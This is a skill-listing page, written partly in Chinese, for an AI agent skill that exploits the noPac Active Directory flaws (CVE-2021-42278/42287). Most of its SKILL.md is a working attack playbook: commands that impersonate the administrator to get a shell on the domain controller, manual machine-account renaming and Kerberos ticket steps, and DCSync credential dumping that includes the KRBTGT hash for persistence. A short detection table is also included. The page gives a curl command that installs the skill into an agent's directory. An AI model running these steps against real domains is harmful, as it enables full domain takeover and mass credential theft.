exploiting-nopac-cve-2021-42278-42287

利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。

9 stars

Best use case

exploiting-nopac-cve-2021-42278-42287 is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。

Teams using exploiting-nopac-cve-2021-42278-42287 should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-nopac-cve-2021-42278-42287 Compares

Feature / Agentexploiting-nopac-cve-2021-42278-42287Standard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

利用 noPac 漏洞链(CVE-2021-42278 sAMAccountName 欺骗和 CVE-2021-42287 KDC PAC 混淆),在活动目录环境中从普通域用户提升至域管理员权限。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 利用 noPac(CVE-2021-42278 / CVE-2021-42287)

## 概述

noPac 是一个严重的漏洞利用链,结合了两个活动目录漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。两者合并可以让任何经过认证的域用户提升至域管理员权限,可能在 60 秒内实现完整域入侵。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性以匹配域控制器的名称(去掉末尾的 $)。CVE-2021-42287 利用 Kerberos PAC 验证中的缺陷,当 KDC 找不到重命名的账户时,会自动附加 $ 并为域控制器账户签发票据。微软于 2021 年 11 月修补了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。

## 目标

- 扫描目标域以检测 noPac 漏洞(CVE-2021-42278/42287)
- 创建或利用具有修改后 sAMAccountName 的机器账户
- 利用 KDC PAC 混淆获取域控制器的 TGT
- 使用 DC 票据执行 DCSync 并转储域凭据
- 从普通域用户账户获得域管理员访问权限
- 记录包含证据的完整利用链

## MITRE ATT&CK 映射

- **T1068** - 利用漏洞进行权限提升
- **T1136.002** - 创建账户:域账户
- **T1078.002** - 有效账户:域账户
- **T1558** - 窃取或伪造 Kerberos 票据
- **T1003.006** - 操作系统凭据转储:DCSync

## 实施步骤

### 阶段一:漏洞扫描
1. 使用 noPac 扫描器检查域是否易受攻击:
   ```bash
   # 使用 cube0x0 的 noPac 扫描器
   python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1

   # 使用 CrackMapExec 模块
   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
   ```
2. 验证 MachineAccountQuota(默认为 10,允许任何用户加入计算机):
   ```bash
   # 通过 LDAP 检查 MachineAccountQuota
   python3 -c "
   import ldap3
   server = ldap3.Server('10.10.10.1')
   conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
   print(conn.entries[0]['ms-DS-MachineAccountQuota'])
   "
   ```

### 阶段二:使用 noPac 工具利用
1. 运行完整的 noPac 漏洞利用链:
   ```bash
   # 使用 cube0x0 的 noPac(在 DC 上获取 shell)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap

   # 使用 Ridter 的 noPac(替代实现)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     --impersonate administrator -dump
   ```
2. 该漏洞利用工具自动:
   - 创建新的机器账户(或使用现有的)
   - 将机器账户的 sAMAccountName 重命名为与 DC 匹配(如 "DC01")
   - 为欺骗的账户名请求 TGT
   - 恢复原始 sAMAccountName
   - 使用 S4U2self 获取模拟目标用户的服务票据
   - KDC 找不到匹配 "DC01" 的账户,回退到 "DC01$"(真实 DC)

### 阶段三:后渗透
1. 使用获得的域控制器票据执行 DCSync:
   ```bash
   # 使用 Kerberos 票据通过 secretsdump.py 进行 DCSync
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

   # 或直接通过 noPac shell(shell 以 SYSTEM 身份在 DC 上运行)
   ```
2. 或者,获取半交互式 shell:
   ```bash
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   ```

### 阶段四:手动利用步骤
1. 创建机器账户:
   ```bash
   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
2. 清除 SPN 并重命名 sAMAccountName:
   ```bash
   # 将机器账户的 sAMAccountName 重命名为 DC 名称(不含 $)
   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
3. 为欺骗的名称请求 TGT:
   ```bash
   getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
   ```
4. 恢复原始机器名称:
   ```bash
   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
5. 使用 S4U2self 进行模拟:
   ```bash
   export KRB5CCNAME=DC01.ccache
   getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
     -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
   ```

## 工具与资源

| 工具 | 用途 | 平台 |
|------|---------|----------|
| noPac(cube0x0) | 自动化扫描器和利用工具 | Python |
| noPac(Ridter) | 替代漏洞利用实现 | Python |
| Impacket | Kerberos 票据操控、DCSync | Python |
| CrackMapExec | 漏洞扫描模块 | Python |
| Rubeus | Windows Kerberos 票据操作 | Windows(.NET) |
| secretsdump.py | 后渗透凭据转储 | Python |

## CVE 详情

| CVE | 描述 | CVSS | 补丁 |
|-----|-------------|------|-------|
| CVE-2021-42278 | sAMAccountName 欺骗(机器账户) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆/权限提升 | 7.5 | KB5008380 |

## 检测特征

| 指标 | 检测方法 |
|-----------|-----------------|
| 机器账户 sAMAccountName 更改 | 带 sAMAccountName 修改的事件 4742(计算机账户已更改) |
| 新机器账户创建 | 事件 4741(计算机对象已创建) |
| 不带末尾 $ 的账户的 TGT 请求 | Kerberos 审计日志分析 |
| 来自非 DC 机器账户的 S4U2self 请求 | 带异常服务票据请求的事件 4769 |
| 快速序列:创建账户、重命名、请求 TGT | 针对 noPac 攻击模式的 SIEM 关联规则 |

## 验证标准

- [ ] 已扫描域以检测 noPac 漏洞
- [ ] 已验证 MachineAccountQuota(默认 10)
- [ ] 漏洞利用已成功执行(获取 shell 或 DCSync)
- [ ] 已从普通用户获得域管理员权限
- [ ] 已执行 DCSync 以转储域凭据
- [ ] 已获取 KRBTGT 哈希用于持久化验证
- [ ] 已记录包含时间戳的攻击链
- [ ] 已验证补丁状态(KB5008380、KB5008602)

Related Skills

exploiting-zerologon-vulnerability-cve-2020-1472

9
from killvxk/cybersecurity-skills-zh

利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。

exploiting-websocket-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。

exploiting-vulnerabilities-with-metasploit-framework

9
from killvxk/cybersecurity-skills-zh

Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块

exploiting-type-juggling-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。

exploiting-template-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

检测并利用 Jinja2、Twig、Freemarker 等模板引擎中的服务器端模板注入(SSTI)漏洞,实现远程代码执行。

exploiting-sql-injection-with-sqlmap

9
from killvxk/cybersecurity-skills-zh

在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。

exploiting-sql-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权渗透测试中,使用手动技术和 sqlmap 等自动化工具识别并利用 Web 应用程序中的 SQL 注入漏洞。测试人员通过基于错误、基于联合、布尔盲注和时间盲注技术,在所有主要数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle)中检测注入点,以演示数据提取、认证绕过和潜在的远程代码执行。

exploiting-smb-vulnerabilities-with-metasploit

9
from killvxk/cybersecurity-skills-zh

在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。

exploiting-server-side-request-forgery

9
from killvxk/cybersecurity-skills-zh

在授权渗透测试中识别并利用 SSRF 漏洞,访问内部服务、云元数据及受限网络资源。

exploiting-race-condition-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

使用 Turbo Intruder 的单包攻击技术检测并利用 Web 应用程序中的竞态条件漏洞,绕过速率限制、重复交易以及利用检查时间与使用时间(TOCTOU)缺陷。

exploiting-prototype-pollution-in-javascript

9
from killvxk/cybersecurity-skills-zh

检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞,通过属性注入实现 XSS、RCE 和身份验证绕过。

exploiting-oauth-misconfiguration

9
from killvxk/cybersecurity-skills-zh

在安全评估期间识别并利用 OAuth 2.0 和 OpenID Connect 错误配置,包括重定向 URI 操纵、令牌泄漏和授权码窃取。